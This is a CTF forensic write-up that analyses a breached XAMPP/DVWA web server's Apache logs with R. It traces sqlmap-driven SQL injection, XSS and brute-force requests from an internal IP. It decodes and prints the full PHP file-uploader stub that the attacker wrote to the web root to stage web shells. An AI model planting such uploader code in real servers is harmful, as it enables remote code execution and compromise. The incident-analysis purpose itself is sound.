Investigating a Web Server Breach - Part II

This is one of many posts in a series I’ll be doing on a CTF offered by Ali Hadi. The CTF looks at a web server breach and asks us to answer several questions in order to complete the challenge. In an effort to avoid an incredibly long blog post, I’ll be breaking this up by question, with some questions potentially taking more than one post. You can find the chronological list of posts below, which will be updated as more posts are added.

1. Analyzing the SAM Hive and security events Log
2. Analyzing the web server logs

Assumptions

Before jumping in, there are a couple of assumptions I’m going to make about you as the reader:

• You’re interested in understanding how this analysis would look on a Windows machine.
• You’re comfortable reading code used to conduct analyses.
• You’re familiar with log files and the data often contained within.

If any of these are completely foreign to you, I would pause here and spend some time familiarizing yourself with those concepts.

Recap

In the last blog post, we started looking at the SAM Hive and Windows Security Event Log in an effort to answer the question “how many users have been added to the box and how”. We were able to identify that at least two users, user1 (1005) and hacker (1006), were added to the machine on September 2nd, 2015 at approximately 9:05 am PST. However, when we went to look for the security events with event ID 4720, we found what appeared to be suspicious activity in the logs. The thing that stood out was an approximately 19 hour gap in the logs on the day that the users were added; a byproduct of what appears to be VBoxService.exe changing the system time on the machine. We also saw that this file didn’t seem to exist on the disk image, which increases the suspiciousness.

The Question

I dug a little deeper into the VBoxService.exe oddities, but wasn’t able to determine anything other than the fact that we can find it in the memory dump. There’s going to be additional blog posts in which we examine memdump.mem, so I’ll hold off on showing how I was able to extract the file until we get there. For now, I’d like to keep working with data that we can find on the disk image, which brings us to today’s focal point: the web server logs. I’m not sure if it’ll help us identify how the users were added to the machine, but it should give us some indication of how the attacker(s) interacted with the web server, which could give us leads as to where to look next. So, let’s start with a couple initial questions to get us started.

1. What IPs interacted with our box on September 2nd?
2. What do the logs show around the time the users were added?
3. Do the logs provide any additional leads for where to look next?

The Analysis

Let’s start by loading the log file for the web server, which, as you may recall is running XAMPP, and thus the logs are stored in %SystemRoot$\xampp\apache\logs\access.log. I’ll be using R and its tidyverse set of packages to analyze the data. If you’re familiar with Python and Pandas, you should be able to understand this code quite intuitively, but even if you’re not familiar with code at all it should still be relatively straightforward. I’ll do my best to explain any code snippets that I feel are not intuitively understandable from the code itself.

Let’s start by getting a feel for what the logs even look like so we can try to understand how to parse them.

head -n 3 xampp-apache-access.log

::1 - - [23/Aug/2015:14:46:24 -0700] "GET / HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)"
::1 - - [23/Aug/2015:14:46:24 -0700] "GET /dashboard/ HTTP/1.1" 200 7327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)"
::1 - - [23/Aug/2015:14:46:24 -0700] "GET /dashboard/stylesheets/normalize.css HTTP/1.1" 200 6876 "http://localhost/dashboard/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)"

Feels like a pretty typical log file, namely the fact that there’s no header indicating what each “field” represents. Thankfully, the Internet can sometimes be a magical place. If we Google for “xampp access log format”, we’ll come across this nice resource that explains it all to us. Let’s use that to ingest and parse the logs.

library(tidyverse) |>
    suppressPackageStartupMessages() |>
    suppressWarnings()

raw <- read_log("xampp-apache-access.log", show_col_types=FALSE)
colnames(raw) <- c(
    "ip",
    "client_identity",
    "user_id",
    "timestamp",
    "method_resource_version",
    "status_code",
    "size",
    "referer",
    "user_agent"
)

raw |>
    head(3) |> 
    pretty_print()

The read_log function does a pretty good job of automatically parsing the fields, but I’d like to clean the data up a little more, including getting rid of what appears to be a couple empty columns. Let’s confirm that there’s no data in client_identity and user_id. Note that the |> is R’s pipe operator, akin to | in Bash.

raw |>
    count(client_identity, user_id, sort=TRUE)

As expected, there’s no data in those two columns, so we’ll drop them.

processed <- raw |>
    select(-client_identity, -user_id) |>
    separate(timestamp, into=c("date", "time"), sep=":", extra="merge") |>
    separate(method_resource_version, into=c("method", "resource", "http_version"), sep=" ") |>
    mutate(date=parse_date(date, format="%d/%b/%Y"))

processed |>
    head(3)

Much better. Now we can do some exploratory analyses, such as getting the top 10 IPs that have interacted with this box, the earliest and latest dates for which we have data, a count of activity by date, and more. Let’s start with getting the date range for our logs.

processed |>
    mutate(
        start_date = min(date) |> format("%Y-%m-%d"),
        end_date = max(date) |> format("%Y-%m-%d")
    ) |>
    select(start_date, end_date) |>
    slice(1)

I assume that the short time window in the logs is because this is a CTF and not a real-world event. In a real event, we’d likely have a much larger file, with many more dates to comb through. However, the approaches we’re using here should work in those scenarios as well, as long as our analyses are targeted and specific. Let’s see what the top 10 IPs hitting this box are. If we don’t see anything of interest, we can narrow that down to the top 10 IPs the day the users were added.

processed |>
    count(ip, sort=TRUE) |>
    head(10)

Wow, okay, so 192.168.56.102 has hit the box 4,398 times, which is almost 10x more than the next IP. Now, we know that any 192.168.0.0/16 IPs are going to be internal, private IPs, so this obviously isn’t the IP of our attacker, but it’s still interesting and worth digging into. Let’s see if that IP interacted with our server on September 2nd.

processed |>
    filter(date == "2015-09-02") |>
    count(ip, sort=TRUE)

Not only did that IP interact with the server on that date, it was virtually the only IP that interacted with the server. I want to see two things. First, a timeline of activity for that day and this IP, and second a breakdown of the resources that were requested. Let’s start with the timeline of activity.

plot_data <- processed |>
    filter(date == "2015-09-02") |>
    filter(ip == "192.168.56.102") |>
    mutate(time = str_remove(time, " -.*")) |>
    unite(datetime, date, time, sep=" ") |>
    mutate(datetime=lubridate::ymd_hms(datetime)) |>
    count(datetime)

ggplot(plot_data, aes(x=datetime, y=n)) +
    geom_line() +
    scale_x_datetime(date_labels="%H:%M") +
    xlab("Time") +
    ylab("Number of Events") +
    ggtitle("Access Events for 192.168.56.102 on Sep 2nd, 2015") +
    theme(
        panel.background=element_blank(),
        axis.line=element_line(color="black")
    )

This seems to indicate that our attacker is active pretty early in the morning, with virtually all events taking place before 06:00 Pacific Time. Let’s just confirm real quick that our analysis is right and that the graph is accurately showing us the data.

processed |>
    filter(ip == "192.168.56.102" & date == "2015-09-02" & time > "06:00:00") |>
    arrange(time) |>
    slice(1, n()) |>
    select(ip, date, time)

The code above takes our data and filters down to our data of interest, sorts by time, and then gets the first and last rows from the data so that we can see the timestamps for that activity. As the data shows, our attacker didn’t interact with the web server between 06:00 and 23:20. But they were very active prior to that, with over 90 events coming in at some points. Let’s look at what some of those requests look like. Let’s also create a new dataset that only contains the data for this IP and the day of interest.

suspicious_activity <- processed |>
    filter(ip == "192.168.56.102" & date == "2015-09-02")

suspicious_activity |>
    count(resource, sort=TRUE) |>
    head(10)

Well isn’t that interesting?! What is “dvwa”? More importantly, look at those explicit SQL injection calls! All right, all right, let’s stay cool and keep our wits about us. We need to figure out what’s going on here. Let’s start by trying to figure out what “dvwa” is. A quick Google search tells us that it’s potentially the Damn Vulnerable Web App, which would be interesting and fitting for this CTF. Additionally, if we read further down on the GitHub repo, under the “WARNING!” label, we see that the author recommends installing XAMPP for the web server and database, which is what we see on this machine. There are a few more analyses I want to run on these logs, but I think my next step is to learn more about the DVWA and see how that fits into our story here. But for now, let’s see what the referer data tells us as it relates to these resource requests.

suspicious_activity |>
    count(resource, referer, sort=TRUE) |>
    head(10)

Not as helpful as I was hoping. Let’s just get a quick count of the referer field.

suspicious_activity |>
    count(referer, sort=TRUE)

And now let’s hone in on anything with “vulnerabilities”, “security”, or “exec” in the URL.

suspicious_activity |>
    filter(str_detect(referer, "vulnerabilities|security|exec")) |>
    count(referer, sort=TRUE) |>
    head(10)

This is pretty enlightening as we get quite a few leads. There are calls to sqli, xss_s, xss_r, and brute, which all seem interesting. I’m going to start with sqli and get a sense of the commands being run.

suspicious_activity |>
    filter(str_detect(referer, "sqli/\\?")) |>
    mutate(cmd = str_replace(
        referer,
        "http://192.168.56.101/dvwa/vulnerabilities/sqli/\\?",
        "")
    ) |>
    count(cmd, sort=TRUE)

And what happens if we run the same request on the resource field? There are 1,270 unique combinations of queries (I cheated and ran a query not included here), so focusing on the top 10 to see if there are any commands that are repeated frequently will be more valuable to look at.

suspicious_activity |>
    filter(str_detect(resource, "sqli/\\?")) |>
    mutate(cmd = str_replace(
        resource,
        "/dvwa/vulnerabilities/sqli/\\?",
        ""
    )) |>
    count(cmd, sort=TRUE) |>
    head(10)

A lot of these commands all include the word “Submit”. I wonder if there are commands that don’t include that.

suspicious_activity |>
    filter(str_detect(resource, "sqli/\\?")) |>
    filter(!str_detect(resource, "Submit")) |>
    mutate(cmd = str_replace(
        resource,
        "/dvwa/vulnerabilities/sqli/\\?",
        ""
    )) |>
    count(cmd, sort=TRUE) |>
    head(10)

No, so all of them include “Submit”. Let’s try looking for some that aren’t SELECT or UNION calls? I’m effectively trying to find unique commands that aren’t what appear to be the attackers attempt to find SQL commands that work. And since we know that every command will have &Submit=Submit, let’s chop that off, just to clean it up a bit. Also, let’s decode the commands to try to get a better sense of what they’re doing. I’m also going to cheat once again and only show the results that I felt were interesting from this query, which I found by running the query and reading through the results.

suspicious_activity |>
    filter(str_detect(resource, "sqli/\\?")) |>
    filter(!str_detect(resource, "SELECT|UNION")) |>
    mutate(cmd = str_replace_all(
        resource,
        "/dvwa/vulnerabilities/sqli/\\?|&Submit=Submit",
        ""
    )) |>
    mutate(cmd = urltools::url_decode(cmd)) |>
    filter(str_detect(cmd, 'php')) |>
    select(ip, date, time, method, cmd)

These two records stuck out to me as they seem to be creating two unique PHP files, and I’m curious what those hex values (ostensibly) are. But first, I want to see if these files are mentioned in other places in the logs. Let’s look at one specific file.

suspicious_activity |>
    filter(str_detect(resource, "tmpudvfh.php")) |>
    mutate(resource=urltools::url_decode(resource)) |>
    select(time, resource)

Oh, interesting. There are a few entries in the log here. Look at that last entry; it looks like it’s deleting itself. Sneaky. Are there other tmp.*.php files?

suspicious_activity |>
    mutate(file=str_extract(resource, "tmp.+?\\.php")) |>
    filter(!is.na(file)) |>
    count(file, sort=TRUE)

I see 4 unique PHP files being utilized in the logs. We’re definitely going to want to dig into this more. Let’s start by digging into those hex values and convert them to text. The following code does this by extracting those hex values out of the logs, removes the “0x” prefix, and then deduplicates the values. Once the values have been extracted, a function to convert the hex to string is implemented, and then the hex values are looped over and run through the function. The results are then printed to the screen.

hex_values <- suspicious_activity |>
    filter(str_detect(resource, "tmp.+\\.php")) |>
    mutate(hex = str_extract(resource, "0x[a-f0-9]+")) |>
    mutate(hex = str_replace(hex, "0x", "")) |>
    filter(!is.na(hex)) |>
    pull(hex) |>
    unique()

convert_hex_to_string <- function(hex) {
    hex <- sapply(
        seq(1, nchar(hex), by=2),
        function(x) substr(hex, x, x + 1)
    )
    
    result <- gsub(
        '[^[:print:]]+', 
        '', 
        rawToChar(as.raw(strtoi(hex, 16L)))
    )
    return(result)
}

results <- unname(sapply(hex_values, convert_hex_to_string))
cat(results)

## <?phpif (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=\\xampp\\htdocs\\> <input type=submit name=upload value=upload></form>";}?>

Let’s clean that up a bit to make it easier to read.

<?php
if (isset($_REQUEST["upload"])) {
    $dir = $_REQUEST["uploadDir"];
    
    if (phpversion()<'4.1.0') { 
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file(
            $HTTP_POST_FILES["file"]["tmp_name"], 
            $dir."/".$file
        ) or die();
    }
    else {
        $file=$_FILES["file"]["name"];
        @move_uploaded_file(
            $_FILES["file"]["tmp_name"], 
            $dir."/".$file
        ) or die();
    }
    
    @chmod($dir."/".$file, 0755);
    echo "File uploaded";
}
else {
    echo "
    <form 
        action=".$_SERVER["PHP_SELF"]."
        method=POST
        enctype=multipart/form-data
    >
        <input type=hidden name=MAX_FILE_SIZE value=1000000000>
            <b>sqlmap file uploader</b>
            <br>
            <input name=file type=file>
            <br>
            to directory: 
            <input type=text name=uploadDir value=\\xampp\\htdocs\\>
            <input type=submit name=upload value=upload>
    </form>
    ";
}
?>

Clearly the attacker is uploading PHP files to create web shells, right? Doesn’t this mean we should be able to see calls to those files getting made in the logs?

processed |>
    filter(str_detect(resource, "\\.php\\?")) |>
    mutate(resource = urltools::url_decode(resource)) |>
    select(method, resource)

Well, we definitely see some commands, but no smoking guns as it relates to how the users were created. However, we do see two POST requests were made that passed act=cmd as a parameter. Too bad we can’t see what data was passed in with that request, but maybe we can review command line calls in the memory dump?

For now, I’m going to run a couple more simple analyses to wrap this up. Let’s first look at the XSS commands the attacker(s) ran.

processed |>
    filter(ip == "192.168.56.102") |>
    filter(str_detect(resource, "/xss_[sr]/\\?")) |>
    mutate(cmd = str_replace(resource, "^/.+?\\?", "")) |>
    mutate(cmd = urltools::url_decode(cmd)) |>
    count(cmd, sort=TRUE)

And what about the brute endpoint we saw?

processed |>
    filter(ip == "192.168.56.102") |>
    filter(str_detect(resource, "brute")) |>
    mutate(cmd = str_replace(resource, "^/.+?\\?", "")) |>
    mutate(cmd = urltools::url_decode(cmd)) |>
    count(cmd, sort=TRUE)

And then there’s one more field that we never looked at, which might give us some clues about what happened: the user-agent string.

processed |>
    filter(ip == "192.168.56.102") |>
    count(user_agent, sort=TRUE)

## # A tibble: 6 × 2
##   user_agent                                                                   n
##   <chr>                                                                    <int>
## 1 sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)                        3621
## 2 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/…   510
## 3 Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Ic…   215
## 4 Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Icew…    28
## 5 Mozilla/4.0 (compatible; MSIE 6.0;)                                         22
## 6 Python-urllib/2.7                                                            2

Obviously some interesting values there, namely the sqlmap string, which Google tells us is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws, which provides one possible explanation for the frequency of the requests against the server.

The Conclusion

We weren’t able to identify exactly how the attacker(s) added the users to the box during this analysis, but we did get at least the beginning of an answer to another question.

What type of attacks has been performed on the box?

Just in this analysis alone, we saw XSS attacks, SQL Injection, and brute force attacks. We also saw that the user uploaded four different PHP files, which were ostensibly used to execute commands on the web server. When I first started this analysis, I thought identifying the attacks would be one of the harder questions to answer, so it’s very exciting to have at least the initial portion of an answer after only examining a couple of artifacts!

Next time, we’re going to spin up our own Damn Vulnerable Web App and try to attack the box the same way that we saw in these logs in an effort to better understand what the data is telling us, and once that’s done we’ll move on to analyzing the memory. Tune in next time!